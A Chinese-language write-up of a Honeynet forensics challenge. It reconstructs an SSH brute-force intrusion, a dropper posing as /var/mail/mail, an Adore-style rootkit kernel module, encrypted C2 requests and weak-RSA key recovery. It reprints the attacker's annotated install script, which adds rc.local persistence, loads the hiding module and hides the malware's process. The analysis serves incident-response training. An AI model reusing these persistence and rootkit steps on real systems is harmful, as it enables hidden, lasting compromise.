背景:
*** 流量来自honeynet ***
你是一家专门从事托管Web应用程序的公司。周末,一个VM掉了下来,网站管理员担心这可能是恶意活动的结果。他们从环境中提取了几张日志,希望你能判断出发生了什么事。
这一挑战是几个越来越困难的从中间到中级的任务的结合,重点是认证、信息隐藏和密码学。学员将从这些领域的入门知识,以及一般Linux操作、内核模块、脚本语言等知识中获益。
并不是一切都像看上去那样。无害的文件可能是恶意的,所以在处理任何来自这个挑战的文件时要小心。
环境
服务器:kali,IP地址:随机分配
辅助工具:需要安装python模块gmpy(安装方法:pip install gmpy)
回答问题1,2,3。
问题1. 攻击者是如何进入系统的?
问题2.有多少次失败的尝试?
问题3. 根据shadow.log和sudoers.log,哪些凭证用来进行登录?
问题1. 攻击者是如何进入系统的?
我们将数据包在wireshark中打开,在框中输入ssh进行过滤
因为我们可以从wireshark看出有很多短暂且重复的ssh会话,所以判断攻击者通过ssh暴力破解登录系统。
问题2.有多少次失败的尝试?
在wireshark中可以看到有51次短的ssh会话,第52次ssh会话稍长,第53次更长,所以我们判断,一共有51失败的尝试。第52次是通过hydra等爆破工具成功登录,第53次是从攻击者的机器成功登录。
问题3.根据shadow.log和sudoers.log,哪些凭证用来进行登录?
根据shadow.log,系统包括root在内有12个用户。在sudoers.log有5个非root的用户可以使用sudo:
。
回答问题4,5,6
问题4.恶意软件是怎么安装在受害者系统上的?请提供相关的文件
回到wireshark,文件-》导出对象-》HTTP,全部保存
主要关注上图所示的三个文件,1,2,3
我们通过file命令进行查看
可以看到1是ELF64 excutable,2是ELF relocatable,3是Bash Script
那么我们先来看看3
从3中我们可以看出,2是一个内核模块,用于隐藏进程,1是一个dropper,能够通过该HTTP与服务器进行密文通信
具体的注释如下:
#!/bin/bash
#把文件1 保存为 /var/mail/mail:
mv 1 /var/mail/mail
#赋予执行权限
chmod +x /var/mail/mail
使用这些字符串替代 rc.local 中的内容
/var/mail/mail & - execute mail
sleep 1 秒
pidof mail > /proc/dmesg - write process id of “mail” to /proc/dmesg (需要隐藏进程)
exit 0"
echo -e “/var/mail/mail &\nsleep 1\npidof mail > /proc/dmesg\nexit 0” > /etc/rc.local
Run the /var/mail/mail command in the hangup immune mode意味着即使登出依然有效,并且重定向标准输出以及error至/dev/null
nohup /var/mail/mail > /dev/null 2>&1&
#将文件2放置于内核模块目录并且重命名为ysmod.ko
mv 2 /lib/modules/uname -r
/sysmod.ko
#探测所有模块
depmod -a
#向模块列表增加新模块
echo “sysmod” >> /etc/modules
#探测(安装)“sysmod ”
modprobe sysmod
#Sleep1秒
sleep 1
保存mail程序的PID到 /proc/dmesg (需要隐藏进程的存在)
pidof mail > /proc/dmesg
移动自身
rm 3
问题5.恶意软件把本地文件保存在哪儿?
由第四题的分析我们可以知道,保存在/var/mail
问题6.ps.log中丢失了什么?
/var/mail/,这个主要的恶意软件。本来应该运行在系统中,但是不在ps.log中,因为内核模块正在隐藏它。(同样可以从第四题中看出)
我们也可以从文件2中看出
从输出可以看出这是典型的内核模块(不是共享对象也不是可执行文件)
我们可以函数名进一步确认这一点
Init_module和cleanup_modules的存在告诉我们这是内核模块
adore_atoi指向的是Adroe rootkit。
我们再使用strings 2进一步深入
可以看到关键的/proc,dmesg,这启发我们内核模块使用/proc/dmesg来获得mail的PID,因此缺失的是/var/mail
回答问题7,8,9,10问题7:恶意软件发送和接收了什么?提供文件和数据流。
我们使用wireshark进行http的过滤
整理如下:
FILE 1
Timestamp:23:23:45.732267
Direction:10.252.174.188 > 23.20.23.147
Requested file:
/n/bsmHSxbNLOQx6jycBS677vZFxEnvFJXHkxni3GEWa7Ed8KLspb9BewBM4jGbT9cnUCokUmCLXrBRWQJIN05YuSIlL5nUQrjwdOvvWbeVejwvudZ2BGjLFlmL9ucVX9s1VezUOZhbLh9Qz1Huwku/U2JsT3QpORfz4ZpgWA31vZE=
FILE 2
Timestamp: 23:25:49.340428
Direction: 10.252.174.188 > 23.22.228.174
File: /n/kPkC9VHd2m5VasUQFzqvfKtQ4XMT86FmglzIB5V9myrcSWsFJEgxP8oP44oQLuf7So5ebts/p+2wR3G90y59TSpiWLNVuLc9eOiTsBc1HFFyYAwYM/bfBGqSZqmaJq4upes8aBde3sLVnpNWHIZ9YcwH3X2hWRkOAN6UHQtZLFw=
FILE 3
Timestamp: 23:33:11.579262
Direction: 10.252.174.188 > 174.129.57.253
File: /n/vtXrOV1HstqGl20v/CWLeuJXLhqHiJJbRYFjOJlN3Bds1S4Gb3JbwG/+5Kr/wR7b/5rWUsDvO4Q67MkCh1MWbluN7iRfMDdMpEcY38hJN1geeYhEOuyJStTWf6UDbbQLvs35UaSWLPQMDi3DKV241ez1zvyQugfl/YhEhDdKmtM=
FILE 4
Timestamp: 23:45:59.200414
Direction: 10.252.174.188 > 23.21.35.128
File: /n/MzLN2Yya80gPhtAO6fAsER18hvNWuySFHul46f2df64K6IT8VYQ1087RXn/N39N7XqyU6ojFA6qgC2C9ZoK8FCREyoMM0xOKl260BWZUp8AIQNv27VopHbKlV2Fcs4emI8DGYBYGUza6QwBiC31GoTvsUaN0jSJuNkm/zB3hlgE=
FILE 5
Timestamp: 23:56:56.772363
Direction: 10.252.174.188 > 23.20.23.147
File: /n/JURgH3Pd1rSdCYCuI3yWe1Zpir3DVDtlv4FBXmj6I+ylBrg3C9TgPVHh1ETXzDbZqx1ZBS6X6ELuaZ/54UeGNuNRXZqP8jKjjKmPvGZliJgVi4QJWk3ytr/U/B3/7eItdtTM+hmAc+xdp0j9sNXDw94VfQK+m+CgCpyx1AVPFSw=
FILE 6
Timestamp: 00:09:49.122092
Direction: 10.252.174.188 > 23.22.228.174
File: /n/d1fv+eJkdZuLjPj8rquuxHFbI0h1Mu6LRG5HGhkiX2dwSUSxwdo3he/pNTFijq8KPzs1c3iMvMDM1HCl0KY2OOI/AoWT8H8LXEOWIBNSYFGRc8Yr4uosTMtirrr23Vx94rc60G+mBfhHWZdVRyo9zF/RLOQHRHZygdpqRABPDSM=
FILE 7
Timestamp: 00:27:04.490256
Direction: 10.252.174.188 > 174.129.57.253
File: /n/U/sKN90+bm1yBlLEbgEAOn/BexSAb4ZGNM+yXKryqX4YiT/eWF46qrf3e3E4XRMtY/I+S1XEigJbaCU9ytK7TurMIQdOMPxEiq6/D0r381eGzQ3GNChyOXHGjd0leIeLUgaTTe8LYXQGBinDAKAPW6pUrtiIO4f/+hw1kzWJxr4=
FILE 8
Timestamp: 00:29:05.417062
Direction: 10.252.174.188 > 23.21.35.128
File: /n/boJHo3Mv1sFAPQbZ1j6D4iH1ZnF1Te3n8Mnuu5SYT6BnbrZSxr2socM6p5JKZGWnSwQZMlqMiVoLZxky5gUO6Fb8Qa+8ZcFfYNh6+Lh7TWsyKFXn5udoYPtmpGGQL+l8gvv9kWKtS8E60ikdS03OiZgwetk/Gqy0OALIsgM+6zU=
FILE 9
Timestamp: 00:30:41.877321
Direction: 10.252.174.188 > 23.20.23.147
File: /n/Ssy2T/Ig7G0vxOOHw9DUar67em5WH0RXGMIMmyJsD7Vk+4gt80d63h419MwmIG1wnOI4sG+pM0PRYz9KUqHP1aRCwZrYtKshyoVRnP/WoKjRixQZu3W7wd8jDRN8xR+R2qLRs+AoJTOij7y+C07VXnO/LKBrJ6jLSpMV+D7Rfww=
可以明显看出文件名是base64编码后的字符串,为了确认这一点我们可以反汇编文件1
我们首先通过下图判断出文件1是通过UPX进行了加壳
因此我们首先需要脱壳处理
接下来我们使用gdb调试
我们查看lookupmod
这里我们提供了extract.py用于从TCP流中提取图像文件(我们已经将前面提到的相关tcp流提取出来保存在文件夹中)
此时文件夹中多出了两个文件:
Stream57.bmp,stream57.txt
内容分别为
对于其他tcp流进行同样的处理即可
问题8.恶意软件连接的对象是谁?
我们针对文件1进行分析
可以看到恶意软件连接的是图中所示ip的服务器
问题9.请提供所使用的私钥
为了找到私钥,在http请求中给出的公钥必须进行分解。由于密钥产生机理设计的缺陷,当质数很小时,这样做是可行的
我们提供了factor.py来进行私钥的提取。
比如针对我们前面过滤http后的第一个文件名:
bsmHSxbNLOQx6jycBS677vZFxEnvFJXHkxni3GEWa7Ed8KLspb9BewBM4jGbT9cnUCokUmCLXrBRWQJIN05YuSIlL5nUQrjwdOvvWbeVejwvudZ2BGjLFlmL9ucVX9s1VezUOZhbLh9Qz1Huwku/U2JsT3QpORfz4ZpgWA31vZE=
按照下图所示即可进行私钥的提取
注意:在使用此脚本前需安装gmpy模块
按照这种方式,依次即可
接下来我们使用gdb在两个素数产生之后插入断点
在这里插入图片描述
上图回显的就是内存中的私钥
按照如上所示的方法进行,即可提取出所有的私钥
问题10.
此次攻击的效果是什么?
可以看到效果是运行了一个计算器